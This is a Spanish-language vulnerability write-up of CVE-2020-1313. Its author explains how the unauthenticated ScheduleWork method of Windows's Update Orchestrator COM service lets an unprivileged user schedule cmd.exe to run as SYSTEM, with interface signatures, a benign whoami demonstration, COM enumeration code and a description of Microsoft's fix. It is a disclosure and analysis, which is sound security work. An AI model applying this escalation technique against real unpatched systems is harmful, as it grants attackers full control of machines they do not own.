
Exploit de prueba de concepto de la vulnerabilidad de elevación de privilegios de Windows Update Orchestrator Service
El servicio Windows Update Orchestrator Service es un servicio DCOM utilizado por otros componentes para instalar actualizaciones de Windows que ya se han descargado. USO era vulnerable a una elevación de privilegios (de cualquier usuario a sistema local) debido a una autorización incorrecta de los llamadores. La vulnerabilidad afectaba a los productos Windows 10 y Windows Server Core. Microsoft lo corrigió en el Patch Tuesday de junio de 2020.
El servicio UniversalOrchestrator (9C695035-48D2-4229-8B73-4C70E756E519), implementado en usosvc.dll, se ejecuta como NT_AUTHORITY\SYSTEM y está configurado con permisos de acceso para BUILTIN\Users (entre otros).
Aunque la enumeración de las clases COM implementadas por este servicio está bloqueada (OLEView.NET: Error querying COM interfaces - ClassFactory cannot supply requested class), la interfaz IUniversalOrchestrator (c53f3549-0dbf-429a-8297-c812ba00742d) - tal como la expone la definición del proxy - se puede obtener mediante llamadas estándar de la API COM. Se exportan los siguientes 3 métodos:
virtual HRESULT __stdcall HasMoratoriumPassed(wchar_t* uscheduledId, int64_t* p1);//usosvc!UniversalOrchestrator::HasMoratoriumPassed
virtual HRESULT __stdcall ScheduleWork(wchar_t* uscheduledId, wchar_t* cmdLine, wchar_t* startArg, wchar_t* pauseArg);//usosvc!UniversalOrchestrator::ScheduleWork
virtual HRESULT __stdcall WorkCompleted(wchar_t* uscheduledId, int64_t p1);//usosvc!UniversalOrchestrator::WorkCompleted
El método ScheduleWork se puede utilizar para programar un comando que se ejecutará en el contexto del servicio, y se puede hacer sin ninguna autorización del solicitante.
Aunque el ejecutable de destino debe estar firmado digitalmente y ubicado en c:\windows\system32 o en archivos comunes de Program Files, también se pueden especificar argumentos de línea de comandos.
Esto hace posible lanzar c:\windows\system32\cmd.exe y lograr de esta manera la ejecución de código arbitrario bajo NT_AUTHORITY\SYSTEM, lo que convierte este problema en una escalada local de privilegios.
El trabajo queda "programado", no se inicia de inmediato.
El PoC que creé configura un "trabajo" con cmdLine c:\windows\system32\cmd.exe y los parámetros: /c "whoami > c:\x.txt & whoami /priv >>c:\x.txt"
Ejecutándolo:
C:\111>whoami
desktop-43rnlku\unprivileged
C:\111>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
C:\111>whoami /priv
C:\111>UniversalOrchestratorPrivEscPoc.exe
Obtaining reference to IUniversalOrchestrator
Scheduling work with id 56594
Succeeded. You may verify HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler to see the task has indeed been onboarded. The command itself will be executed overnight if there is no user interaction on the box or after 3 days SLA has passed.
Se añade una entrada sobre el trabajo programado al registro:

El comando especificado se ejecuta durante la noche (alrededor de las 23:20) cuando no se espera interacción del usuario, o después de que hayan pasado 3 días del SLA.
Cuando no pude obtener la definición de la interfaz del servicio USO con OleView.NET, creé un script para recorrer cientos de combinaciones de CLSID/IID y que esperaba que funcionara en algún nivel. Tenía un aspecto similar a esto:
void TestUpdateOrchestratorInterfaceAgainstService(IID& clsId, const char* className, const wchar_t* iidStr, const char *interfaceName)
{
void *ss = NULL;
IID iid;
ThrowOnError(IIDFromString(iidStr, (LPCLSID)&iid)); // working with e at the end, failing with anything else
HRESULT res = CoCreateInstance(clsId, nullptr, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&ss);
printf("%s %s: %s\n", className, interfaceName, res == S_OK ? "WORKING" : "failure");
}
void TestUpdateOrchestratorInterface(const wchar_t* iidStr, const char *interfaceName)
{
// TestUpdateOrchestratorInterfaceAgainstService(CLSID_AutomaticUpdates, "AutomaticUpdates", iidStr, interfaceName); // timeouting!
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UxUpdateManager, "UxUpdateManager", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UsoService, "UsoService", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UpdateSessionOrchestrator, "UpdateSessionOrchestrator", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UniversalOrchestrator, "UniversalOrchestrator", iidStr, interfaceName);
// TestUpdateOrchestratorInterfaceAgainstService(CLSID_SomeService, "SomeService", iidStr, interfaceName); // timeouting!
}
...
TestUpdateOrchestratorInterface(L"{c57692f8-8f5f-47cb-9381-34329b40285a}", "IMoUsoOrchestrator");
TestUpdateOrchestratorInterface(L"{4284202d-4dc1-4c68-a21e-5c371dd92671}", "IMoUsoUpdate");
TestUpdateOrchestratorInterface(L"{c879dd73-4bd2-4b76-9dd8-3b96113a2130}", "IMoUsoUpdateCollection");
// ... and hundreds of more
El resultado del enfoque fue:
UniversalOrchestrator IUniversalOrchestrator: WORKING
UpdateSessionOrchestrator IUpdateSessionOrchestrator: WORKING
UxUpdateManager IUxUpdateManager: WORKING
Luego comencé a aplicar ingeniería inversa a la implementación y encontré el flujo descrito anteriormente.
Microsoft corrigió este problema en el Patch Tuesday de junio de 2020 al añadir la llamada a la API CoImpersonateClient que faltaba.
Implementación antes de aplicar la corrección:

Implementación después de aplicar la corrección:

¿Cómo ayuda esto? La suplantación de identidad se realiza al comienzo del procesamiento de la solicitud, por lo que las llamadas a la API para actualizar el registro se ejecutan en el contexto de seguridad del llamador. Si el llamador no tiene privilegios sobre HKEY_LOCAL_MACHINE, el método de la API de USO fallará en consecuencia.
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1313